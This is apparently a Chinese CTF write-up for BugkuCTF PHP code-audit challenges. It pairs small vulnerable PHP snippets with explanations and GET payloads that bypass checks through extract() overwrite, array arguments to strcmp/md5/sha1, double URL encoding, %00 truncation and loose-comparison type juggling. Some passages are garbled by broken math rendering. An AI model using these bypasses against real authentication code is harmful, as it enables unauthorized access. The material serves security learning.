BugkuCTF代码审计
extract变量覆盖
<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'flag{xxx}';
}
else
{
echo'Oh.no';
}
}
?>
分析
使用了extract函数会使传入的数据转换为变量名和变量的值
首先判断shiyan不为NULL
然后file_get_contents把flag整个文件读入一个字符串中
再然后trim() 函数移除字符串两侧的空白字符或其他预定义字符赋给
c
o
n
t
e
n
t
最
后
判
断
content 最后判断
content最后判断shiyan 是否等于 KaTeX parse error: Expected 'EOF', got '&' at position 33: …ayload ?shiyan=&̲flag= 没有对重名情况进行…shiyan = ,flag同理。所以通过if。
strcmp比较字符串
<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a']))
{//判断a是否已设置且不为NULL
if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
{
die('Flag: '.$flag);
}
else
{
print 'No';
}
}
?>
分析:
先判断a不为null,再判断a和flag是否相同,相同则输出flag
该如何使a和flag相同,
查strcmp函数比较字符串的本质是将两个变量转换为ascii,然后进行减法运算。但Php5.3之后版本使用strcmp比较一个字符串和数组的话,将不再返回-1而是返回0
所以我们直接把a变为数组就行了
Payload:?a[]=12
urldecode二次编码绕过
<?php
if(eregi("hackerDJ",$_GET[id]))
{
echo("not allowed!");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "Access granted!";
echo "flag";
}
?>
分析:传入的参数为id,先判断id是否为hackerDJ,再令id进行urldecode后等于hackerDJ。但别忘记了浏览器会先进行一次解码再到函数解码。所以要加密两次。
D的第一次加密为%44,再加密一次%2544,因为44无法继续加密,而%还能加密为%25所以得到的PayLoad为:?id=hacker%2544J
md5()函数
<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password']))
{
if ($_GET['username'] == $_GET['password'])
print 'Your password can not be your username.';
else if (md5($_GET['username']) === md5($_GET['password']))
die('Flag: '.$flag);
else
print 'Invalid password';
}
?>
分析:首先要传入两个参数分别为username和password这两个,然后他们两个要不为NULL,再然后他们不能相等,最后他们的md5加密要相同。
最后一步是关键点,有两种方法第一种找md5碰撞的,第二种根据数组进行MD5加密报错返回值为NULL使之相等。
我采用第二种
Payload:?username[]=1&password[]=2
数组返回NULL绕过
<?php
$flag = "flag";
if (isset ($_GET['password']))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo 'You password must be alphanumeric';
else if (strpos ($_GET['password'], '--') !== FALSE)
die('Flag: ' . $flag);
else
echo 'Invalid password';
}
?>
分析传入的参数为password,password要不为NULL,
ereg() 正则限制了password格式,只能是一个或者多个数字、大小写字母。但可以通过%00截断绕过正则匹配
strpos() 函数查找字符串在另一字符串中第一次出现的位置。要求存在—但不能为开头。
payload:?password[]=1或?password=1%00–
弱类型整数大小比较绕过
$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;
分析:
把password的值赋给temp,
is_numeric() 函数用于检测变量是否为数字或数字字符串,可以通过16进制绕过,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。
Temp的值不能为数字或数字字符串
temp值要大于1336
payload:?password=10000%00或?password=1553abc,1553abc由于类型转换变为了1553与1336进行对比
sha()函数比较绕过
<?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{
var_dump($_GET['name']);
echo "";
var_dump($_GET['password']);
var_dump(sha1($_GET['name']));
var_dump(sha1($_GET['password']));
if ($_GET['name'] == $_GET['password'])
echo 'Your password can not be your name!';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo 'Invalid password.';
}
else echo 'Login first!';
?>
分析:
传入name和password两个参数,不为null。Name和password值不能相等
name和password进行Sha1加密后要相等。
Sha1和md5绕过原理一样
Payload:?name[]=1&password[]=2
md5加密相等绕过
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a))
{
if ($a != 'QNKCDZO' && $md51 == $md52)
{
echo "flag{*}";
}
else {
echo "false!!!";}
}
else{echo "please input a";}
?>
分析:
Md51的值为 QNKCDZO的md5加密后的结果
a
=
@
a=@
a=@_GET[“a”]; 其中的 @ 是为了防止没有
G
E
T
[
′
a
′
]
出
现
错
误
提
示
把
a
的
值
进
行
m
d
5
加
密
存
放
在
m
d
52
a
不
能
为
N
U
L
L
,
且
不
等
于
Q
N
K
C
D
Z
O
,
但
_GET['a']出现错误提示 把a的值进行md5加密存放在md52 a不能为NULL,且不等于QNKCDZO,但
GET[′a′]出现错误提示把a的值进行md5加密存放在md52a不能为NULL,且不等于QNKCDZO,但md51 = $md52这里可以利用==来对哈希值进行比较,0e开头都解释为0,找常见md5碰撞的值
payload:?a=s155964671a
十六进制与数字比较
<?php
error_reporting(0);
function noother_says_correct($temp)
{
$flag = 'flag{test}';
$one = ord('1'); //ord — 返回字符的 ASCII 码值
$nine = ord('9'); //ord — 返回字符的 ASCII 码值
$number = '3735929054';
// Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
// Disallow all the digits!
$digit = ord($temp{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
// Aha, digit not allowed!
return "flase";
}
}
if($number == $temp)
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
?>
分析:传入的参数为password,把1和9的ASCII算出来,如果password的值不能在1到9之间的,要求password的值和number的值一样。
不能在1到9之间那么就可以用0或者字母来表达,那么就要使用16进制来表达number的值
Payload:?password=0xdeadc0de
变量覆盖
打不开跳过
ereg正则%00截断
<?php
$flag = "xxx";
if (isset ($_GET['password']))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{ echo 'You password must be alphanumeric'; }
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{ if (strpos ($_GET['password'], '-') !== FALSE)
//strpos — 查找字符串首次出现的位置
{ die('Flag: ' . $flag); }
else { echo('- have not been found'); }
}
else { echo 'Invalid password'; }
}?>
代码整理后如上
分析:传入的参数为password且要求设置好不为null,使用ereg正则限制password值,但可以通过%00截断绕过正则匹配
要求password的值的长度不超过8且数值大于9999999,看着很冲突,但我们可以改为科学计数法表达10000000=1e8
寻找Password的-且不等于false,
?password=1e8%00-然后出现问题*-* have not been found
他要寻找的是*-,修改下
Payload:?password=1e8%00-*或?password[]=1
strpos数组绕过
<?php
$flag = "flag";
if (isset ($_GET['ctf'])) {
if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
?>
分析:存入的参数为ctf且不能为NULL
使用ereg正则限制ctf值,但可以通过%00截断绕过正则匹配,但数组好像也能绕过
要在ctf中寻找到#biubiubiu
Payload:?ctf[]=#biubiubiu
**
数字验证正则绕过
**
<?php
error_reporting(0);
$flag = 'flag{test}';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配
{
echo 'flag';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
//>=3,必须包含四种类型三种与三种以上
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
?>
分析:
Post传输,
正则匹配,[:graph:]为任意字符,要求password长度超过12
password中必须包含标点符号,数字,大写字母,小写字母,并且检测次数要超过6次
c为字符种类
必须包含四种类型三种与三种以上
弱类型比较,42abc,强制转换为数字
蛮奇怪的最后要求是用flag参数
Payload:flag=42aaaaaaa.aaaaaaa
简单的waf
题目打不开!